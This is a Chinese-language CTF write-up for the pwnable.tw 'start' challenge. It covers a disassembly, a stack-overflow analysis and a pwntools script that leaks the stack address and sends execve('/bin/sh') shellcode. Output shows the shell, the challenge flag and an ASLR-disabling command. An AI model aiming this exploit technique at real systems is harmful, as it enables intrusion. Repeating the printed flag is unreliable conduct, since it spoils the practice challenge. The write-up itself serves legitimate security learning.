start
bin: https://pwnable.tw/challenge/#1
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
反汇编
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h // push字符串: 'CTF:'
.text:08048073 push 20656874h // push字符串: 'the '
.text:08048078 push 20747261h // push字符串: 'art '
.text:0804807D push 74732073h // push字符串: 's st'
.text:08048082 push 2774654Ch // push字符串: 'Let''
// Let's start the CTF:
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
// sys_write(1, esp, 14h)
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 60
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX - sys_read
// sys_read(0, esp, 60 )
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
本地运行:
本地关闭aslr, echo 0 > /proc/sys/kernel/randomize_va_space
执行 sys_read时,栈如下
可见,我们可以控制ret_addr地址。
.text:08048099 add esp, 14h
.text:0804809C retn
在执行完add esp, 14h
时, 栈如下:
随后执行retn
如果此时将ret_addr 改成 mov ecx, esp
指令处程序就又执行了 sys_write, 执行代码为 sys_write(1, esp, 20)
而此时 esp 指向的值即为esp, 所以首先可以获得到esp的值。
程序继续执行到sys_read(),这时,可以构造payload。从esp开始的60字节, 同时sys_read 函数执行后,还需要执行add esp, 0x14, 所以shellcode的长度最多为40字节。
from pwn import *
debug = 0
if debug:
sh = process("./start")
else:
sh = remote("chall.pwnable.tw", 10000)
def leak_stack_addr():
sh.recvuntil(':')
payload = 'a' * 20 + p32(0x08048087)
sh.send(payload)
stack_addr = sh.recv(4)
return u32(stack_addr)
def pwn(addr):
nopsled = '\x90' * 15
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a' * 0x14 + p32(addr + 20) + nopsled + shellcode
# 0x14 + 4 + 10 + 21
sh.send(payload)
sh.interactive()
def exp():
sa = leak_stack_addr()
pwn(sa)
exp()
root@ubuntu:~/pwn/start# python 1.py
[+] Opening connection to chall.pwnable.tw on port 10000: Done
[*] Switching to interactive mode
\x00\x00\x005\x0f��\x00\x00\x00G\x0f��id
uid=1000(start) gid=1000(start) groups=1000(start)
$ cd /home/start
$ ls
flag
run.sh
start
$ cat flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
利用条件
1、程序存在溢出,并且还要能够控制返回地址
2、程序运行时,shellcode 所在的区域要拥有执行权限
3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。
附
links:
https://syscalls.kernelgrok.com/
https://www.freebuf.com/vuls/179724.html